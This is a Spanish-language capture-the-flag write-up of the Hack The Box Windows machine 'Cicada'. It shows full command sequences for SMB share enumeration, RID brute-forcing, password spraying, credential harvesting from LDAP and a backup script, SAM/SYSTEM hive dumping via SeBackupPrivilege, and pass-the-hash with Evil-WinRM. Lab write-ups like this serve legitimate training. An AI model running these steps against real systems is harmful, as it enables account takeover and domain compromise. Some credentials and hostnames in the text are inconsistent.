



Cicada Writeup - Hack The Box

Dificultad: Facil

Escrito por: tellmefred

Introducción:

En este *writeup*, compartiré mi experiencia resolviendo la máquina **Cicada** de sistema Windows perteneciente a la plataforma de Hack The Box. Este desafío pone a prueba una combinación de habilidades técnicas y analíticas, destacándose por su enfoque en la exploración y resolución de problemas en un entorno controlado.

El objetivo principal fue progresar de manera sistemática para alcanzar ambas banderas, aplicando herramientas y metodologías propias del *ethical hacking*. Este proceso fortaleció mi capacidad para abordar situaciones complejas y adaptarme a los desafíos presentados.

Espero que este *writeup* sea útil para quienes busquen mejorar sus habilidades en ciberseguridad o simplemente deseen conocer diferentes enfoques para resolver esta máquina.

Reconocimiento:

Aquí empezamos con un ping para probar la conectividad.

```
└─(root@tellmefred)-[~/home/.../Desktop/HTB/Cicada/nmap]
└─# ping 10.10.11.35
PING 10.10.11.35 (10.10.11.35) 56(84) bytes of data.
64 bytes from 10.10.11.35: icmp_seq=1 ttl=127 time=18.9 ms
64 bytes from 10.10.11.35: icmp_seq=2 ttl=127 time=18.9 ms
64 bytes from 10.10.11.35: icmp_seq=3 ttl=127 time=26.4 ms
64 bytes from 10.10.11.35: icmp_seq=4 ttl=127 time=18.9 ms
^C
--- 10.10.11.35 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 18.881/20.790/26.422/3.251 ms
```

En este escaneo de nmap tenemos bastante información yo lo que hice fue tomar los dominios que encontré

```

└─(root㉿tellmefred)-[~/home/.../Desktop/HTB/Cicada/nmap]
└─# nmap -sCV -sS -Pn -p- --open --min-rate 2500 10.10.11.35 -oN allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-03 05:50 EST
Nmap scan report for 10.10.11.35
Host is up (0.020s latency).
Not shown: 65524 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Active Directory LDAP (Domain: cicada.hbt0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap    Microsoft Windows Active Directory LDAP (Domain: cicada.hbt0., Site: Default-First-Site-Name)
|_ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap    Microsoft Windows Active Directory LDAP (Domain: cicada.hbt0., Site: Default-First-Site-Name)
|_ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
50033/tcp open  msrpc       Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode:
|   3:1:1:
|     Message signing enabled and required
| smb2-time:
|   date: 2024-11-03T17:52:02
|_start_date: N/A

```

Con este comando de aquí, lo agregamos a la lista de /etc/hosts.

```

└─(root㉿tellmefred)-[~/home/.../Desktop/HTB/Cicada/nmap]
└─# echo "10.10.11.35      CICADA-DC.cicada.htb cicada.htb" | sudo tee -a /etc/hosts
10.10.11.35      CICADA-DC.cicada.htb cicada.htb

```

Aquí empezamos a probar la seguridad de el protocolo smb. Fue lo que más lógico me pareció probar

```

└─(root㉿tellmefred)-[~/home/tellmefred/Desktop/HTB/Cicada]
└─# netexec smb cicada.htb -u tellmefred -p ""
SMB      10.10.11.35  445  CICADA-DC          [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB      10.10.11.35  445  CICADA-DC          [+] cicada.htb:tellmefred:

```

Al parecer con un usuario cualquiera puedo enumerar el recurso compartido HR

```
[root@tellmefred]# netexec smb cicada.htb -u tellmefred -p "" --shares
SMB   10.10.11.35 445 CICADA-DC      [x] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB   10.10.11.35 445 CICADA-DC      [+]
SMB   10.10.11.35 445 CICADA-DC      [*] Enumerated shares
SMB   10.10.11.35 445 CICADA-DC      Share      Permissions    Remark
SMB   10.10.11.35 445 CICADA-DC      -----      -----
SMB   10.10.11.35 445 CICADA-DC      ADMIN$      Remote Admin
SMB   10.10.11.35 445 CICADA-DC      C$          Default share
SMB   10.10.11.35 445 CICADA-DC      DEV
SMB   10.10.11.35 445 CICADA-DC      HR          READ
SMB   10.10.11.35 445 CICADA-DC      IPC$        READ
SMB   10.10.11.35 445 CICADA-DC      NETLOGON
SMB   10.10.11.35 445 CICADA-DC      SYSVOL
```

Explotación:

Aquí ya usando smbclient accedo a este recurso y encuentro esto (Notice from HR.txt)

```
[root@tellmefred]# smbclient //cicada.htb/HR -N
Try "help" to get a list of possible commands.
smb: \> ls
.
..
Notice from HR.txt
D          0  Thu Mar 14 08:29:09 2024
D          0  Thu Mar 14 08:21:29 2024
A         1266  Wed Aug 28 13:31:48 2024

4168447 blocks of size 4096. 438120 blocks available
smb: \>
```

Con el comando (mget *) logro descargarlo y ya solo queda ver que tiene dentro.

```
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (15.3 KiloBytes/sec) (average 15.3 KiloBytes/sec)
smb: \> 
```

Vemos que tenemos una contraseña pero no sabemos a que usuario le pertenece, así que averigüémoslo.

```
(root@tellmefred)-[~/home/tellmefred/Desktop/HTB/Cicada]
└─# cat Notice.txt
Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp18

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
```

Aquí enumeramos todos los usuarios disponibles en este servicio ahora solo tenemos que crear un archivo user.txt para hacer fuerza bruta.

```
(root@tellmefred)-[~/home/tellmefred/Desktop/HTB/Cicada]
└─# netexec smb cicada.htb -u tellmefred -p "" --rid-brute
SMB    10.10.11.35  445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB    10.10.11.35  445  CICADA-DC      [+] cicada.htb\tellmefred:
SMB    10.10.11.35  445  CICADA-DC      498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      500: CICADA\Administrator (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      501: CICADA\Guest (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      502: CICADA\krbtgt (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      512: CICADA\Domain Admins (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      513: CICADA\Domain Users (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      514: CICADA\Domain Guests (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      515: CICADA\Domain Computers (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      516: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      525: CICADA\Protected Users (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      526: CICADA\Key Admins (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB    10.10.11.35  445  CICADA-DC      571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB    10.10.11.35  445  CICADA-DC      572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB    10.10.11.35  445  CICADA-DC      1000: CICADA\CICADA-DC\$ (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      1101: CICADA\DsAdmins (SidTypeAlias)
SMB    10.10.11.35  445  CICADA-DC      1102: CICADA\dnsUpdateProxy (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      1103: CICADA\groups (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      1104: CICADA\john.smoulder (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      1105: CICADA\sarah.dantelia (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      1106: CICADA\michael.wrightson (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      1108: CICADA\david.orelius (SidTypeUser)
SMB    10.10.11.35  445  CICADA-DC      1109: CICADA\dev Support (SidTypeGroup)
SMB    10.10.11.35  445  CICADA-DC      1601: CICADA\emily.oscars (SidTypeUser)
```

Aquí ya solo corremos este comando y nos dice que la contraseña coincide con Michael

```
(root@tellmefred)-[~/home/tellmefred/Desktop/HTB/Cicada]
└─# netexec smb cicada.htb -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp18' --continue-on-success
SMB    10.10.11.35  445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\CICADA-DC\$:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp18
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\david.orelius:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB    10.10.11.35  445  CICADA-DC      [+] cicada.htb\.:Cicada$M6Corpb*@Lp#nZp18
```

Con acceso a la contraseña de Michael podemos buscar con el protocolo ldap confirmamos los usuarios para probar que tal e inmediatamente lo que hacemos es hacer grep a (pass) a ver que contraseña nos encuentra, y vemos que tenemos algo.

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
└# ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*aRt$Lp#nZp!8' -b 'dc=cicada,dc=htb' "(objectClass=person)" | grep "sAMAccountName"
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: CICADA-DC$
sAMAccountName: krbtgt
sAMAccountName: john.smoulder
sAMAccountName: sarah.dantelia
sAMAccountName: michael.wrightson
sAMAccountName: david.orelius
sAMAccountName: emily.oscars

(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
└# ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*aRt$Lp#nZp!8' -b 'dc=cicada,dc=htb' "(objectClass=person)" | grep pass
description: Just in case I forgot my password is aRt$Lp#7t*VQ!3
```

y con la misma lista de antes vemos que esta contraseña es de David

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
└# netexec smb cicada.htb -u user.txt -p 'aRt$Lp#7t*VQ!3' --continue-on-success
SMB   10.10.11.35  445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\Administrator:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\krbtgt:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\CICADA-DC$:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\john.smoulder:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\sarah.dantelia:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\michael.wrightson:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [+] cicada.htb\david.orelius:aRt$Lp#7t*VQ!3
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\emily.oscars:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB   10.10.11.35  445  CICADA-DC      [+] cicada.htb\*:aRt$Lp#7t*VQ!3
```

Veamos que posibilidades tenemos con este usuario y tenemos acceso a el recurso compartido DEV

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
└# netexec smb cicada.htb -u david.orelius -p 'aRt$Lp#7t*VQ!3' --shares
SMB   10.10.11.35  445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB   10.10.11.35  445  CICADA-DC      [-] cicada.htb\david.orelius:aRt$Lp#7t*VQ!3
SMB   10.10.11.35  445  CICADA-DC      [*] Enumerated shares
SMB   10.10.11.35  445  CICADA-DC      Share          Permissions      Remark
SMB   10.10.11.35  445  CICADA-DC      -----          -----
SMB   10.10.11.35  445  CICADA-DC      ADMIN$          READ           Remote Admin
SMB   10.10.11.35  445  CICADA-DC      C$              READ           Default share
SMB   10.10.11.35  445  CICADA-DC      DEV             READ
SMB   10.10.11.35  445  CICADA-DC      HR              READ
SMB   10.10.11.35  445  CICADA-DC      IPC$            READ           Remote IPC
SMB   10.10.11.35  445  CICADA-DC      NETLOGON        READ           Logon server share
SMB   10.10.11.35  445  CICADA-DC      SYSVOL          READ           Logon server share
```

Así que accedemos a el encontrando un archivo de backup y descargándolo a ver que nos encontramos

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
# smbclient //cicada.hbt/DEV -U david.orelius
Password for [WORKGROUP\david.orelius]:
Try "help" to get a list of possible commands.
smb: \> ls
.
..
Backup_script.ps1          A      601  Wed Aug 28 13:28:22 2024

        4168447 blocks of size 4096. 434209 blocks available
smb: \> mget *
Get file Backup_script.ps1? y
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (7.3 KiloBytes/sec) (average 7.3 KiloBytes/sec)
smb: \> 
```

Aquí vemos otro usuario con su contraseña

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
# cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

Y perfecto tenemos acceso a la maquina con este usuario vamos

```
(root@tellmefred)-[/home/tellmefred/Desktop/HTB/Cicada]
# netexec smb cicada.hbt -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' --shares
SMB    10.10.11.35  445  CICADA-DC      [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.hbt) (signing:True) (SMBv1:False)
SMB    10.10.11.35  445  CICADA-DC      [+] cicada.hbt\emily.oscars:Q!3@Lp#M6b*7t*Vt
SMB    10.10.11.35  445  CICADA-DC      [*] Enumerated shares
SMB    10.10.11.35  445  CICADA-DC      Share           Permissions      Remark
SMB    10.10.11.35  445  CICADA-DC      -----          -----          -----
SMB    10.10.11.35  445  CICADA-DC      ADMIN\$          READ           Remote Admin
SMB    10.10.11.35  445  CICADA-DC      C\$             READ,WRITE     Default share
SMB    10.10.11.35  445  CICADA-DC      DEV             -
SMB    10.10.11.35  445  CICADA-DC      HR              READ
SMB    10.10.11.35  445  CICADA-DC      IPC\$           READ           Remote IPC
SMB    10.10.11.35  445  CICADA-DC      NETLOGON        READ           Logon server share
SMB    10.10.11.35  445  CICADA-DC      SYSVOL         READ           Logon server share
```

Ya dentro de accedemos directamente a buscar en el escritorio el user.txt

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> dir

Directory: C:\Users\emily.oscars.CICADA

Mode LastWriteTime Length Name
---- ----- ----- ----
d-r--- 8/28/2024 10:32 AM Desktop
d-r--- 8/22/2024 2:22 PM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls
```

```
Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode LastWriteTime Length Name
---- ----- ----- ----
-ar--- 11/3/2024 9:19 AM 34 user.txt
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt
b1a85553011c051272b8b9bbf05a7258
```

Escalada de privilegios:

Aquí con este comando podemos encontrar las posibilidades que tenemos para elevar los privilegios

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name          Description          State
=====
SeBackupPrivilege        Back up files and directories  Enabled
SeRestorePrivilege       Restore files and directories  Enabled
SeShutdownPrivilege      Shut down the system        Enabled
SeChangeNotifyPrivilege  Bypass traverse checking   Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

Este comando se utiliza en ataques para obtener contraseñas o acceder sin necesidad de conocerlas directamente. Con esto buscamos sacar los hashes de administrador.

```
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\key
The operation completed successfully.
```

Al extraer tanto SAM como SYSTEM, un atacante puede combinar la información para descifrar los hashes de contraseñas y potencialmente escalar privilegios.

```
*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\systems
The operation completed successfully.
```

Este comando utiliza pypykatz para combinar las claves SAM y SYSTEM, permitiendo extraer los hashes de contraseñas y facilitando un posible acceso no autorizado o escalada de privilegios en el sistema. Ya aquí podemos ver el hash del administrador y podemos hacer un pass the hash.

Aquí volvemos a iniciar con el host el usuario y su hash

```
[root@tellmefred]~[/home/.../Desktop/HTB/Cicada/exploit]
└# evil-winrm -i cicada.htb -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
```

Buscamos en el desktop de el administrador la root.txt

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt  
03875ddc5ded5559275b9be9ca9d0dd3  
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```